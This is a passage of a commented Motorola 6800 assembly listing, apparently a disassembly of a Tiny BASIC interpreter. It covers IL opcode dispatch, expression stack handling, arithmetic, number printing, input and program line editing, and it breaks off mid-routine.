byte ;******************************************************************************* ; push A on expr_stack expr_push_byte proc ldx expr_stack_x ; get expr_stack top ?expr_push_byte dex ; make space for another byte sta ,x ; save A as new TOS (top of stack value) stx expr_stack_x ; set new stack top psha ; save A lda expr_stack_low ; get stack bottom cmpa expr_stack_top ; stack overflow? pula ; restore A bcs IL_NO ; no, exit j_error jmp CommonError ; error: stack overflow ;******************************************************************************* ; pop the TOS word off stack, result in A:B IL_SP proc bsr expr_pop_byte ; pop a byte into B tba ; put into A (high byte) ; bra expr_pop_byte ;******************************************************************************* ; pop the TOS byte off stack into B expr_pop_byte proc ldb #1 ; verify stack is not empty: has 1 byte ; bra pop_byte ;******************************************************************************* pop_byte proc addb expr_stack_top ; next position on stack cmpb #$80 ; is it > 0x80? bhi j_error ; yes, stack underflow error ldx expr_stack_x ; get address of stack top inc expr_stack_top ; pop stack ldb ,x ; get TOS byte in B rts ;******************************************************************************* ; IL instruction US: machine language subroutine call IL_US proc bsr us_do ; call machine language routine bsr expr_push_byte ; return here when ML routine does RTS ;-------------------------------------- ; push A:B on stack tba bra expr_push_byte ;******************************************************************************* us_do proc lda #6 ; verify that stack has at least 6 bytes tab adda expr_stack_top cmpa #rnd_seed ; at end of expr_stack? bhi j_error ; yes, error ldx expr_stack_x ; load argument list sta expr_stack_top ; drop 6 bytes from stack Loop@@ lda 5,x ; push 5 bytes to return stack psha dex decb bne Loop@@ ; loop until done tpa ; push status psha ;-------------------------------------- ; Stack frame is ; return address IL_US+2 (caller of bsr us_do) ; B ; A ; X ; X ; address ; address ; PSW ;-------------------------------------- rti ; use RTI to branch to routine ;******************************************************************************* ; IL instruction push byte IL_LB proc bsr fetch_il_op ; get next byte from sequence bra expr_push_byte ; push single byte ;******************************************************************************* ; IL instruction push word IL_LN proc bsr fetch_il_op ; get next two bytes into A:B psha bsr fetch_il_op tab pula bra expr_push_word ; push on stack ;******************************************************************************* ; part of IL linterpreter loop, handle SX instruction handle_il_SX proc adda expr_stack_top ; opcode is 0..7, add to current stack ptr sta IL_temp+1 ; make word pointer 0x00SP+opcode clr IL_temp bsr expr_pop_byte ; drop to byte into B ldx IL_temp ; get index lda ,x ; get old byte stb ,x ; store byte from TOS there bra expr_push_byte ; store old byte on TOS ;******************************************************************************* ; get the next IL opcode and increment the IL PC fetch_il_op proc ldx il_pc ; get IL PC lda ,x ; read next opcode inx ; advance to next byte stx il_pc ; save IL PC IL_NO tsta ; set flags rts ;******************************************************************************* IL_baseaddr fdb start_of_il ; only used address where IL code starts ;******************************************************************************* ; Cold start entry point ;******************************************************************************* COLD_S proc ldx #RAM_BASIC ; initialize start of BASIC stx start_prgm Loop@@ inx ; point to next address com 1,x ; complement following byte lda 1,x ; load byte com 1,x ; complement byte cmpa 1,x ; compare with value, should be different, if it is RAM bne Loop@@ ; if different, advance, until no more RAM cells found stx end_ram ; use topmost RAM cell ; bra IL_MT ;******************************************************************************* ; IL instruction MT: clear program IL_MT proc ldd start_prgm ; load start area addb SSS ; add spare area after end of program adca #0 std end_prgm ; save as end of program ldx start_prgm ; get addr of start of program clr ,x ; clear line number (means end) clr 1,x ; bra WARM_S ;******************************************************************************* ; Warm start entry point ;******************************************************************************* WARM_S proc lds end_ram ; set return stack to end of RAM ; enters here to start IL loop; ; return here after error stop restart_il jsr crlf ; emit a CRLF restart_il_nocr ldx IL_baseaddr ; load pointer to IL stx il_pc ; store as current IL PC ldx #rnd_seed ; set expr_stack top to 0x0080 stx expr_stack_x ldx #$30 ; set run_mode = 0 (no program) ;-------------------------------------- ; set expr_stack_low = 0x30 stx run_mode il_rs_return sts top_of_stack ; save current stack position Loop@@ bsr fetch_il_op ; fetch next IL opcode bsr exec_il_opcode ; execute current IL instruction bra Loop@@ ; next instruction (il_mainloop) ;******************************************************************************* ; Trick programming here: ; This location is entered in IL_RS by incrementing the return address of ; exec_il_opcode so that it skips over the 'BRA il_mainloop' above il_rs_target proc cpx #$2004 ; this might mask a BRA *+4, which however would ; then point into exec_il_opcode+2, which is a TBA ; which could then be used for a synthetic ; exec_il_opcode... ; frankly: this is possibly either a remainder ; from old code or a hidden serial number ; the 6502 code has a similar anachronism in this ; place, so it might be a serial number. bra il_rs_return ; enforce storing the stack pointer and do il_mainloop ;******************************************************************************* ; with IL opcode in A, decode opcode and ; branch to appropriate routine exec_il_opcode proc ldx #il_jumptable-4 ; preload address of opcode table - 4 stx IL_temp cmpa #$30 ; is opcode below 0x30? bcc handle_30_ff ; no, skip to handler for higher opcodes cmpa #8 ; is it below 8? bcs handle_il_SX ; yes, skip to handler for SX instructions asla ; make word index sta IL_temp+1 ; store as offset ldx IL_temp ldx $17,x ; load handler address via offset jmp ,x ; jump to handler ;******************************************************************************* ; Common error routine CommonError proc jsr crlf ; emit CRLF lda #'!' sta expr_stack_low ; lower stack bottom a bit to avoid another stack fault ;-------------------------------------- ; SNAFU already; may overwrite some variables jsr OUT_V ; emit exclamation mark lda #rnd_seed ; reinitialize stack top sta expr_stack_top ldd il_pc ; load IL PC into A:B subb IL_baseaddr+1 ; subtract origin of interpreter sbca IL_baseaddr jsr emit_number ; print instruction of IL lda run_mode ; is not in program? beq error_no_lineno ; no, suppress output of line number ldx #ErrAt@@ ; load error string stx il_pc jsr IL_PC ; print string at il_prgm_cnt, i.e. "AT " lda basic_lineno ; get line number ldb basic_lineno+1 jsr emit_number ; print it error_no_lineno lda #7 ; emit BEL (0x07) character jsr OUT_V lds top_of_stack ; restore return stack bra restart_il ; restart interpreter after error ErrAt@@ fcb ' ','A','T',' ',$80 ; string " AT " + terminator ;******************************************************************************* ; Long branch instruction IL_BBR proc dec IL_temp ; adjust position for negative jump (effectively 2's complement) IL_FBR tst IL_temp ; test new position high byte beq CommonError ; was displacement 0? ; yes, this is an error condition il_goto ldx IL_temp ; get new IL target address stx il_pc ; do the jump rts ;******************************************************************************* ; part of interpreter loop: handle opcode 0x30-3f handle_30_ff proc cmpa #$40 ; above or equal 0x40? bcc handle_40_ff ; yes, handle elsewhere ;-------------------------------------- ; handle the J/JS instructions psha ; save opcode jsr fetch_il_op ; get next byte of instruction (low address) adda IL_baseaddr+1 ; add to IL interpreter base sta IL_temp+1 pula ; restore opcode tab ; save into B for later anda #7 ; mask out addressbits adca IL_baseaddr ; add to base address sta IL_temp ; save in temporary andb #8 ; mask J/JS bit bne il_goto ; if set, is GOTO ldx il_pc ; get current IL PC sta il_pc ; save new IL PC ldb IL_temp+1 stb il_pc+1 stx IL_temp ; save old in temporary jmp push_payload ; put on return stack ;******************************************************************************* ; handle the opcodes >=0x40 handle_40_ff proc tab ; save opcode for later lsra:4 ; get opcode high nibble anda #$E ; make 0x04,0x06,...0x0e sta IL_temp+1 ; make index into opcode jump table ldx IL_temp ldx $17,x ; X points to handler routine clra ; preload A=0 for null displacement (error indicator) cmpb #$60 ; is it BBR? andb #$1F ; mask out displacement bits bcc _@@ ; was not backward branch orb #$E0 ; make displacement negative _@@ beq Cont@@ ; displacement is zero? yes, skip addb il_pc+1 ; add displayement to current IL_PC stb IL_temp+1 adca il_pc Cont@@ sta IL_temp ; store high byte of new address ; if displayement=0, store high byte=0 ; -> invalid IL address, will lead to error jmp ,x ; jump to handler routine ;******************************************************************************* ; IL instruction string match branch ; jump forward if string was not matched IL_BC proc ldx basic_ptr ; save pointer to current BASIC character stx bp_save Loop@@ bsr get_nchar ; skip spaces bsr fetch_basicchar ; consume char tab ; save into B jsr fetch_il_op ; get next char from IL stream bpl LastChar@@ ; if positive (not end of string), match further orb #$80 ; no, make basic char also bit7 set LastChar@@ cba ; compare bytes bne NoMatch@@ ; do not match, skip tsta ; more chars to match? bpl Loop@@ ; yes, loop rts ; that string matched! continue NoMatch@@ ldx bp_save ; restore BASIC pointer stx basic_ptr j_FBR bra IL_FBR ; and branch forward ;******************************************************************************* ; IL instruction: jump if not end of line IL_BE proc bsr get_nchar ; get current BASIC char cmpa #CR ; is it a CR? bne j_FBR ; no, jump forward rts ; continue ;******************************************************************************* ; IL instruction: branch if not variable ; if variable, push 2*ASCII to expr_stack ; (0x41..0x5A => 0x82...0xB4 ; == offset to var table into zero page) IL_BV proc bsr get_nchar ; get current BASIC char cmpa #'Z' ; is it an alphanumeric? bgt j_FBR ; no, jump forward cmpa #'A' blt j_FBR asla ; yes, double the ASCII code ; (make it a word index into var table jsr expr_push_byte ; push it on the stack ; bra fetch_basicchar ; ...and consume this character ;******************************************************************************* ; get next BASIC char from program or line ; return in A, Z=1 if CR ;******************************************************************************* fetch_basicchar proc ldx basic_ptr ; get address of current BASIC byte lda ,x ; get byte inx ; advance to next character stx basic_ptr ; save it cmpa #CR ; check if 0x0d (end of line) rts ;******************************************************************************* ; get next BASIC char (without advance) ; C=1 if digit get_nchar proc bsr fetch_basicchar ; get next char cmpa #' ' ; is it a space? beq get_nchar ; yes, skip that dex ; is no space, point back to this char stx basic_ptr cmpa #'0' ; is it a digit? clc blt Done@@ ; no, return C=0 cmpa #':' ; return C=1 if number Done@@ rts ;******************************************************************************* ; IL instruction: branch if not number ; if digit, convert this and following digits to number ; and push on expr_stack IL_BN proc bsr get_nchar ; get BASIC char bcc j_FBR ; if not digit, do forward branch clrx ; clear temporary for number stx IL_temp Loop@@ bsr fetch_basicchar ; get and consume this char psha ; save it lda IL_temp ; multiply TEMP by 10 ldb IL_temp+1 aslb ; temp*2 rola aslb ; (temp*2)*2 = temp*4 rola addb IL_temp+1 ; (temp*4)+temp = temp*5 adca IL_temp aslb ; (temp*5)*2 = temp*10 rola stb IL_temp+1 pulb ; restore digit andb #$F ; mask out low nibble (0...9) addb IL_temp+1 ; add into temp adca #0 std IL_temp bsr get_nchar ; get next char bcs Loop@@ ; loop as long as digit found lda IL_temp ; push A:B on expr_stack (B is still low byte) jmp expr_push_word ;******************************************************************************* ; IL instruction: divide IL_DV proc bsr expr_check_4bytes ; validate 2 args on stack; discard 1 byte lda 2,x ; high byte dividend asra ; put sign into carry rola sbca 2,x ; A=0xFF if sign=1, 0x00 if sign=0 sta IL_temp ; sign extend dividend into 32bit (IL_temp=high word) sta IL_temp+1 tab ; if negative, subtract 1 from dividend addb 3,x ; 0x0000...0x7fff stays positive ; 0x8000 becomes positive ; 0x8001...0xffff stays negative stb 3,x tab adcb 2,x stb 2,x eora ,x ; compare with sign of divisor sta lead_zero ; store result sign (negative if different, positive if same) bpl loc_389 ; if different sign, complement divisor ;-------------------------------------- ; i.e. NEG/NEG -> do nothing ; NEG/POS -> NEG/NEG + lead_zero <0 ; POS/NEG -> POS/POS + lead_zero <0 ; POS/POS -> do nothing ;-------------------------------------- bsr negate ; negate operand loc_389 ldb #$11 ; loop counter (16+1 iterations) lda ,x ; is divisor = 0? ora 1,x bne dv_loop ; no, do division jmp CommonError dv_loop lda IL_temp+1 ; subtract divisor from 32bit dividend suba 1,x psha ; remember result lda IL_temp sbca ,x psha eora IL_temp bmi dv_smaller ; subtract result was <0 ? pula ; no, can subtract, remember a 1 bit (sec) sta IL_temp ; and store new result pula sta IL_temp+1 sec bra dv_shift dv_smaller pula ; discard subtraction pula clc ; remember 0 bit dv_shift rol 3,x ; shift 32bit dividend left rol 2,x ; shift in result bit into lowest bit of dividend rol IL_temp+1 rol IL_temp decb ; decrement loop bne dv_loop ; subtract divisor from 32bit dividend bsr j_expr_pop_byte ; drop a byte (other one was already removed above) ;-------------------------------------- ; X points to result in (former) dividend at 2,X tst lead_zero ; operand signs were different? bpl locret_3CC ; no, we are done ; bra IL_NE ;******************************************************************************* ; IL instruction: negate top of stack IL_NE proc ldx expr_stack_x ; point to TOS negate neg 1,x ; negate low byte bne ne_nocarry ; not zero: no carry dec ,x ; propagate carry into high byte ne_nocarry com ,x ; complement high byte locret_3CC rts ;******************************************************************************* ; IL instruction: subtract TOS from NOS -> NOS IL_SU proc bsr IL_NE ; negate TOS. A-B is A+(-B) ;******************************************************************************* ; IL instruction: add TOS and NOS -> NOS IL_AD proc bsr expr_check_4bytes ; verify 4 bytes on stack ldb 3,x ; add TOS and NOS into AB addb 1,x lda 2,x adca ,x expr_save_pop std 2,x ; store A:B in NOS and pop further byte j_expr_pop_byte jmp expr_pop_byte ;******************************************************************************* ; validate stack contains at least 4 bytes, pop 1 byte expr_check_4bytes proc ldb #4 expr_check_nbytes jmp pop_byte ; pop a byte ;******************************************************************************* ; multiply TOS with NOS -> NOS ; I think this this routine is broken for negative numbers IL_MP proc bsr expr_check_4bytes ; validate 2 args lda #$10 ; bit count (16 bits) sta IL_temp clrd ; clear bottom 16 bits of result Loop@@ aslb ; shift 1 bit left rola asl 1,x ; shift 1st operand rol ,x bcc Cont@@ ; is top bit = 1? addb 3,x ; yes, add 2nd operand into A:B adca 2,x Cont@@ dec IL_temp ; decrement counter bne Loop@@ ; loop 16 times bra expr_save_pop ; save result ;******************************************************************************* ; IL instruction: fetch variable IL_FV proc bsr j_expr_pop_byte ; get byte (variable address into zero page) clra std IL_temp ; make pointer into var table ldx IL_temp ldd ,x ; get word indexed by X into A:B jmp expr_push_word ; push it onto expr_stack ;******************************************************************************* ; IL instruction: save variable IL_SV proc ldb #3 bsr expr_check_nbytes ; validate stack contains var index byte ; and data word. drop single byte ldd ,x ; data in D clr 1,x ; clear this to build word index to var ldx 1,x ; load index into variable table std ,x ; save A:B into variable j_IL_SP jmp IL_SP ; pop word off stack ;******************************************************************************* ; IL instruction compare ; stack: TOS, MASK, NOS ; compare TOS with NOS ; MASK is bit0 = less ; bit1 = equal ; bit2 = greater ; if compare reslut AND mask return <>0, next IL op is skipped IL_CP proc bsr j_IL_SP ; pop TOS into A:B pshb ; save low byte ldb #3 bsr expr_check_nbytes ; verify still 3 bytes on stack, ; drop one byte inc expr_stack_top ; drop more bytes inc expr_stack_top pulb ; restore low byte of TOS subb 2,x ; compare with 1st arg ;-------------------------------------- ; note this subtraction is inverted ; thus BGT means BLT, and vice versa ;-------------------------------------- sbca 1,x bgt cp_is_lt ; if less, skip blt cp_is_gt ; if greater, skip tstb ; is result 0? beq cp_is_eq bra cp_is_lt cp_is_gt asr ,x ; shift bit 2 into carry cp_is_eq asr ,x ; shift bit 1 into carry cp_is_lt asr ,x ; shift bit 0 into carray bcc locret_461 ; not matched: exit, continue new IL op jmp fetch_il_op ; skip one IL op before continuing ;******************************************************************************* ; IL instruction: advance to next BASIC line IL_NX proc lda run_mode ; run mode = 0? beq loc_46A ; yes, continue program Loop@@ jsr fetch_basicchar ; get char from program bne Loop@@ ; is not CR, loop bsr save_lineno ; store line number beq j1_error ; is 0000 (end of program) -> error ; bra go_found_line ;******************************************************************************* ; enters here from a GOTO, ; basic pointer points to new line go_found_line proc bsr do_runmode ; set run mode = running jsr BV ; test for BREAK bcs do_break ; if C=1, do break ldx il_pc_save ; restore IL_PC which was saved in XQ or GO stx il_pc locret_461 rts do_break ldx IL_baseaddr ; restart interpreter stx il_pc j1_error jmp CommonError ; and emit break error ;******************************************************************************* ; fragment of code for IL_NX loc_46A proc lds top_of_stack ; reload stack sta column_cnt ; clear column count (A was 0) jmp restart_il_nocr ; restart interpreter ;******************************************************************************* ; save current linenumber save_lineno proc jsr fetch_basicchar ; get char from program code sta basic_lineno ; save as high lineno jsr fetch_basicchar ; get char from program code sta basic_lineno+1 ; save as low lineno ldx basic_lineno ; load line number for later rts ;******************************************************************************* ; IL instruction: execute program IL_XQ proc ldx start_prgm ; set current start of program stx basic_ptr bsr save_lineno ; save current line number beq j1_error ; if zero, error ldx il_pc ; save current IL_PC stx il_pc_save do_runmode tpa ; will load non zero value (0xc0) into A - tricky! sta run_mode ; set run_mode = "running" rts ;******************************************************************************* ; IL instruction GO IL_GO proc jsr find_line ; find line which lineno is on stack beq go_found_line ; found? yes, skip go_error ldx IL_temp ; set requested lineno as current stx basic_lineno bra j1_error ; error - line not found ;******************************************************************************* ; IL instruction: restore saved line IL_RS proc bsr get_payload ; get saved line 2 levels off stack tsx ; point to caller of exec_il_opcode inc:2 1,x ; hack: adjust return from exec_il_mainloop ; that it points to il_rs_target just below ; il_mainloop jsr find_line1 ; find the basic line bne go_error ; line not found? -> error rts ;******************************************************************************* ; IL instruction return from IL call IL_RT proc bsr get_payload ; get saved IL PC address stx il_pc ; restore it to IL_PC rts ;******************************************************************************* ; IL instruction save BASIC pointer IL_SB proc ldx #basic_ptr ; get address of basic pointer bra loc_4B3 ; continue in IL_RB common code ;******************************************************************************* ; IL instruction: restore BASIC pointer IL_RB proc ldx #basicptr_save loc_4B3 lda 1,x ; is it into the input line area? cmpa #$80 bcc swap_bp lda ,x bne swap_bp ; no, do swap with save location ldx basic_ptr stx basicptr_save ; store old basic pointer into save rts ;******************************************************************************* swap_bp proc ldx basic_ptr ; get basic pointer lda basicptr_save ; move saved pointer to basic ptr sta basic_ptr lda basicptr_save+1 sta basic_ptr+1 stx basicptr_save ; store old basic pointer into save rts ;******************************************************************************* ; IL instruction gosub IL_GS proc tsx inc:2 1,x ; adjust return address to il_rs_target ldx basic_lineno ; get line number of GOSUB stx IL_temp ; store it in temp ; bra push_payload ; and inject temp into return stack ;******************************************************************************* ; insert IL_temp into return stack ; stack holds (low to high addresses) ; SP-> ; return address of exec_il_opcode ; other data ; afterwards ; SP -> ; return address of exec_il_opcode ; payload ; other data push_payload proc des:2 ; reserve 2 bytes on processor stack tsx ; get address in X lda 2,x ; duplicate return address sta ,x lda 3,x sta 1,x lda IL_temp ; insert return address for JS instruction in stack sta 2,x lda IL_temp+1 sta 3,x ldx #end_prgm ; address of end of program sts IL_temp ; save current stack in temporary lda 1,x ; check that stack does not run into program code suba IL_temp+1 lda ,x sbca IL_temp bcs Done@@ ; is still space available? ; yes, exit ?CommonError jmp CommonError ; no error Done@@ equ :AnRTS ;******************************************************************************* ; return payload in X ; stack: ; X ; 0 returnaddr caller of get_payload ; 1 returnaddr caller of get_payload ; 2 returnaddr caller of exec_il_opcode ; 3 returnaddr caller of exec_il_opcode ; 4 payload ; 5 payload get_payload proc tsx ; copy return stack addr to X inx:3 ; pointing to return address ; skip over return address and 2 more bytes ; point to index 3 cpx end_ram ; stack underflow? beq ?CommonError ; yes, error ldx 1,x ; get payload into X stx IL_temp ; save it tsx ; point to return address pshb ; save B ldb #4 ; move 4 bytes above Loop@@ lda 3,x sta 5,x dex decb bne Loop@@ ; loop until done pulb ; restore B ins:2 ; drop 1 word (duplicate return address) ldx IL_temp ; get payload rts ; done ;******************************************************************************* ; find BASIC line whose lineno is on stack ; discard from stack ; return found line in basic_ptr ; Z=1 if line is matched exactly find_line proc jsr IL_SP ; pop word into A:B std IL_temp ; save in temporary ora IL_temp+1 ; check if zero (invalid) beq ?CommonError ; if so, error ; bra find_line1 ;******************************************************************************* ; find BASIC line whose lineno is in IL_temp find_line1 proc ldx start_prgm ; set BASIC pointer to start stx basic_ptr Loop@@ jsr save_lineno ; save current lineno ; note: X = lineno beq Done@@ ; if zero, skip to end ldb basic_lineno+1 ; compare line number with current line lda basic_lineno subb IL_temp+1 sbca IL_temp bcc Done@@ ; if above, exit ToEoL@@ jsr fetch_basicchar ; get next char bne ToEoL@@ ; not CR? loop bra Loop@@ ; check next line Done@@ cpx IL_temp ; compare current linenumber with searched one rts ;******************************************************************************* ; emit number in A:B emit_number proc jsr expr_push_word ; push number on stack ; bra IL_PN ;******************************************************************************* IL_PN proc ldx expr_stack_x ; get address of stack top tst ,x ; is number negative? bpl Go@@ ; no, skip jsr IL_NE ; negate top of stack lda #'-' ; emit negative sign bsr emit_char Go@@ clra ; push 0 (end of digits) psha ldd #$1A0F psha ; counter for 10's (0x1A) pshb ; counter for 100's (0x0F) psha ; counter for 1000's, (0x1A) pshb ; counter for 10000's (0x0f) jsr IL_SP ; pop TOS into A:B tsx ; point to the constants 0xF, 0x1A.... _10000@@ inc ,x ; increment counter for 10000's subb #[10000 ; subtract 10000 until negative sbca #]10000 bcc _10000@@ ; counter for 10000's will become 0x10...0x14 _1000@@ dec 1,x ; is now negative value, subtract until positive again addb #[1000 ; add 1000 until positive again adca #]1000 ; decrement counter for 1000's bcc _1000@@ ; counter for 1000's will become 0x19...0x10 _100@@ inc 2,x ; is positive value now subb #100 ; subtract 100 until negative sbca #0 bcc _100@@ ; counter for 100's becomes 0x10...0x19 _10@@ dec 3,x ; is now negative addb #10 ; add 10 until positive again bcc _10@@ ; counter for 10's become 0x10..0x19 ;-------------------------------------- ; B contains remaining 1's digits clr lead_zero ; clear flag to suppress leading zeroes EmitDigits@@ pula ; restore counter 10000 tsta ; was zero? beq Done@@ ; yes, last digit to emit, this one is in B bsr emit_digit ; emit digit in A, suppress leading zeroes bra EmitDigits@@ ; guarantee last digit is printed. Done@@ tba ; last digit is in B ; bra emit_digit ;******************************************************************************* emit_digit proc cmpa #$10 ; check if '0' (note range is 0x10..19 if not last digit) bne Go@@ ; no, must emit ;-------------------------------------- ; note for last digit, any value will be emitted, ; because it can't be 0x10 (is 0...9) ;-------------------------------------- tst lead_zero ; already emitted a digit? beq Done@@ ; no, exit (leading zero) Go@@ inc lead_zero ; notify digit print ora #'0' ; make it a real ASCII '0'...'9' ; bra emit_char ; and print it Done@@ equ :AnRTS ;******************************************************************************* ; emit a character in A emit_char proc inc column_cnt ; advance to column 1 bmi StopEmit@@ ; if at column 128, stop emit stx x_save ; save X pshb ; save B jsr OUT_V ; emit character pulb ; restore B ldx x_save ; restore X rts ; done StopEmit@@ dec column_cnt ; if column = 0x80, don't advance further rts ;******************************************************************************* ; IL instruction print string pc_loop proc bsr emit_char ; emit a character and continue ; with PC instruction IL_PC jsr fetch_il_op ; get next byte of instruction bpl pc_loop ; if positive, skip bra emit_char ; was last char, emit it and terminate ;******************************************************************************* ; IL instruction PQ loop_pq proc cmpa #'"' ; is character string terminator? beq Done@@ ; yes, exit bsr emit_char ; otherwise emit char ;-------------------------------------- ; and redo PQ instruction IL_PQ jsr fetch_basicchar ; get next char from BASIC text bne loop_pq ; if not CR, loop jmp CommonError ; error - unterminated string Done@@ equ :AnRTS ;******************************************************************************* ; IL instruction print tab IL_PT proc ldb column_cnt ; column counter bmi Done@@ ; if overflow, exit orb #$F8 ; make 7...0 negb bra ?print_spc ; jump to space printer Done@@ equ :AnRTS ;******************************************************************************* pt_print_spc proc jsr IL_SP ; drop A:B off stack ?print_spc Loop@@ decb ; decrement low byte blt Done@@ ; < 0, exit lda #' ' ; emit a space bsr emit_char bra Loop@@ ; loop Done@@ equ :AnRTS ;******************************************************************************* ; IL Instruction List BASIC source IL_LS proc ldx basic_ptr ; save current BASIC pointer stx bp_save ldx start_prgm ; default start: begin of program stx basic_ptr ldx end_prgm ; default end: load X with end of program bsr ls_getlineno ; if argument to list given, make this new end ;-------------------------------------- ; note "LIST start,end", so the first result ; popped off stack is the end ;-------------------------------------- beq Loop@@ ; no more argument on stack bsr ls_getlineno ; save first position in LS_begin ;-------------------------------------- ; get another argument into basic_ptr, if any Loop@@ lda basic_ptr ; compare start and end of listing ldb basic_ptr+1 subb LS_end+1 sbca LS_end bcc ls_exit ; start > end? yes, exit: nothing (more) to list jsr save_lineno ; save lineno of current line beq ls_exit ; is end of program (line 0)? yes, exit lda basic_lineno ; get current line number ldb basic_lineno+1 jsr emit_number ; print line number lda #' ' ; print a space _@@ bsr j_emitchar jsr BV ; check for break bcs ls_exit ; if break, exit jsr fetch_basicchar ; get next char from line bne _@@ ; if not CR, loop output bsr IL_NL ; emit a CRLF bra Loop@@ ; loop with next line ;******************************************************************************* ; called with an address into BASIC code ; return Z=1 if no argument ls_getlineno proc inx ; increment X stx LS_end ; store as default end of listing ldx expr_stack_x ; get expr_stack ptr cpx #$80 ; is stack empty? beq Done@@ ; yes, no arg given...done jsr find_line ; find the line (after the lineno) that was given on ; stack (start line number) ; result in X=basic_ptr ; bra ls_to_linestart Done@@ equ :AnRTS ;******************************************************************************* ls_to_linestart proc ldx basic_ptr ; point back to lineno that was found dex:2 stx basic_ptr rts ;******************************************************************************* ls_exit proc ldx bp_save ; restore old BASIC pointer stx basic_ptr rts ;******************************************************************************* ; IL instruction: emit new line IL_NL proc lda column_cnt ; if column > 127, suppress output bmi Done@@ ; bra crlf Done@@ equ :AnRTS ;******************************************************************************* ; do a CRLF crlf proc lda #CR ; emit carriage return character bsr emit_char_at_0 ldb PCC ; get padding mode aslb ; shift out bit 7 beq Cont@@ ; if no padding bytes, skip Loop@@ pshb ; save padding count bsr emit_nul_padding ; emit padding pulb ; restore count decb ; decrement twice (because above aslb ; multiplied *2) decb bne Loop@@ ; loop until done Cont@@ lda #LF ; emit line feed character bsr j_emitchar ; emit character (with increment column count) ; bra emit_nul_padding ;******************************************************************************* ; depending on PCC bit 7 emit either NUL or DEL (0xff) byte emit_nul_padding proc clra ; padding byte tst PCC ; check if bit 7 of PCC: ; =0, emit NUL bytes ; =1, emit 0xFF bytes bpl emit_char_at_0 ; emit a NUL byte coma ; bra emit_char_at_0 ;******************************************************************************* ; emit a char in A and clear column count/XOFF mode emit_char_at_0 proc clr column_cnt ; reset column to 0 j_emitchar jmp emit_char ;******************************************************************************* do_xon proc lda TMC ; get XOFF flag bra ?SaveXOnOff ;******************************************************************************* do_xoff proc clra ?SaveXOnOff sta column_cnt ; save column count bra gl_loop ;******************************************************************************* ; IL instruction: get input line ; uses expr_stack as buffer IL_GL proc ldx #expr_stack ; store floor of expr_stack as BASIC pointer stx basic_ptr stx IL_temp ; save pointer to char input into buffer jsr expr_push_word ; save A:B for later (may be variable address, or alike) Loop@@ eora rnd_seed ; use random A to create some entropy sta rnd_seed jsr IN_V ; get a char from input device anda #$7F ; make 7bit ASCII beq Loop@@ ; if NUL, ignore cmpa #$7F ; if 0xFF/0x7F, ignore beq Loop@@ cmpa #LF ; if LF, done beq do_xon cmpa #$13 ; if DC3 (XOFF) handle XOFF beq do_xoff ldx IL_temp ; get buffer pointer cmpa LSC ; line cancel? beq CtrlX@@ cmpa BSC ; is it "_" ? (back character) bne ChkEnd@@ ; no, skip cpx #expr_stack ; at start of buffer? bne Backspace@@ ; no, do a backspace CtrlX@@ ldx basic_ptr ; reset pointer to input char lda #CR clr column_cnt ; do XON ChkEnd@@ cpx expr_stack_x ; is end of buffer reached? bne SaveChar@@ ; no, skip lda #7 ; emit BEL character (line overflow) bsr j_emitchar bra Loop@@ SaveChar@@ sta ,x ; save char in buffer inx:2 ; advance Backspace@@ dex stx IL_temp ; !!! error in dump, was 0F ;-------------------------------------- ; save new ptr to input cmpa #CR ; was char CR? bne Loop@@ ; no, get another char jsr IL_NL ; end of input reached lda IL_temp+1 ; get buffer line sta expr_stack_low ; save as new expr_stack bottom ;-------------------------------------- ; (should not overwrite buffer) jmp IL_SP ; pop old value off stack gl_loop equ Loop@@ ;******************************************************************************* ; IL instruction: insert BASIC line IL_IL proc jsr swap_bp ; basicptr_save = 0x80 (input buffer) ; basic_ptr = invalid jsr find_line ; search for line with lineno from stack ; if found: address of BASIC text in basic_ptr ; if not: address of next line or end of program tpa ; save status, whether line was found jsr ls_to_linestart ; adjust line back to lineno stx bp_save ; save this in bp_save as well. ; basic_ptr==bp_save is position where to enter ; new line (if same lineno, overwrite) ldx IL_temp ; save lineno to be handled in LS_end stx LS_end clrb ; preload length of stored line with 0 ; for line not found (must grow) tap ; restore status of find_line bne LineNotFound@@ ; skip if lineno not matched ; hey, this line already exists! jsr save_lineno ; save lineno where we are currently in basic_lineno ldb #$FE ; advance to end of line, ;-------------------------------------- ; B is negative length of line FindEol@@ decb jsr fetch_basicchar bne FindEol@@ ; loop until end of line ;-------------------------------------- ; B now contains negative sizeof(stored line) LineNotFound@@ clrx ; B is 0, if line does not yet exist stx basic_lineno ; clear lineno jsr swap_bp ; basic_ptr = 0x80 (input buffer) ;-------------------------------------- ; basicptr_save = at end of position to insert ; (i.e. either before following line, or at end of ; line to be grown/shrunk) ;-------------------------------------- ; calculate sizeof(input buffer) lda #CR ; load EOLN char ldx basic_ptr ; start at input buffer (after line number) cmpa ,x ; is it eoln? beq Delete@@ ; yes, skip - this is an empty line: must delete addb #3 ; no, reserve 3 bytes for lineno and CR ToEoL@@ incb ; increment B for every byte in current line <> eoln inx cmpa ,x ; advance and check for EOLN bne ToEoL@@ ; loop until eoln found ;-------------------------------------- ; all in all, B contains the difference of line lengths: ; -sizeof(stored line)+sizeof(input buffer) ; if negative: stored is longer than new -> shrink program ; if zero: stored is same size ; if positive: stored is shorter than new -> grow program ;-------------------------------------- ldx LS_end ; restore current lineno ;-------------------------------------- ; is non-null: there is a line to add stx basic_lineno Delete@@ ldx bp_save ; IL_temp = start of area to insert line stx IL_temp tstb ; check number of bytes ;-------------------------------------- ; negative: shrink program ; zero: nothing to move ; positive: grow program ;-------------------------------------- beq SameSize@@ ; same size, just copy bpl GrowLine@@ ; stored line is longer -> shrink lda basicptr_save+1 ; bp_save = end_of_insert - bytes to shrink aba sta bp_save+1 lda basicptr_save adca #$FF sta bp_save ; bp_save < basicptr_save < end_pgrm < top_of_stack (hopefully) Shrink@@ ldx basicptr_save ; copy from end of insert addr to bp_save addr ldb ,x cpx end_prgm ; until end of program beq EndOfProg@@ cpx top_of_stack ; or until top_of_stack beq EndOfProg@@ ; leave, when done inx ; advance stx basicptr_save ldx bp_save stb ,x ; save the byte inx stx bp_save bra Shrink@@ ; loop until done GrowLine@@ addb end_prgm+1 ; make space after end of program for B bytes stb basicptr_save+1 clra adca end_prgm sta basicptr_save ; basicptr_save = new end of program subb top_of_stack+1 sbca top_of_stack ; verify it's below top_of_RAM bcs DoGrow@@ ; ok, continue dec il_pc+1 ; point back to IL instruction jmp CommonError ; overflow error DoGrow@@ ldx basicptr_save ; bp_save is new end of program stx bp_save Grow@@ ldx end_prgm ; get byte from old end of program lda ,x dex ; advance back stx end_prgm ldx basicptr_save ; store byte at new end of program sta ,x dex stx basicptr_save cpx IL_temp bne 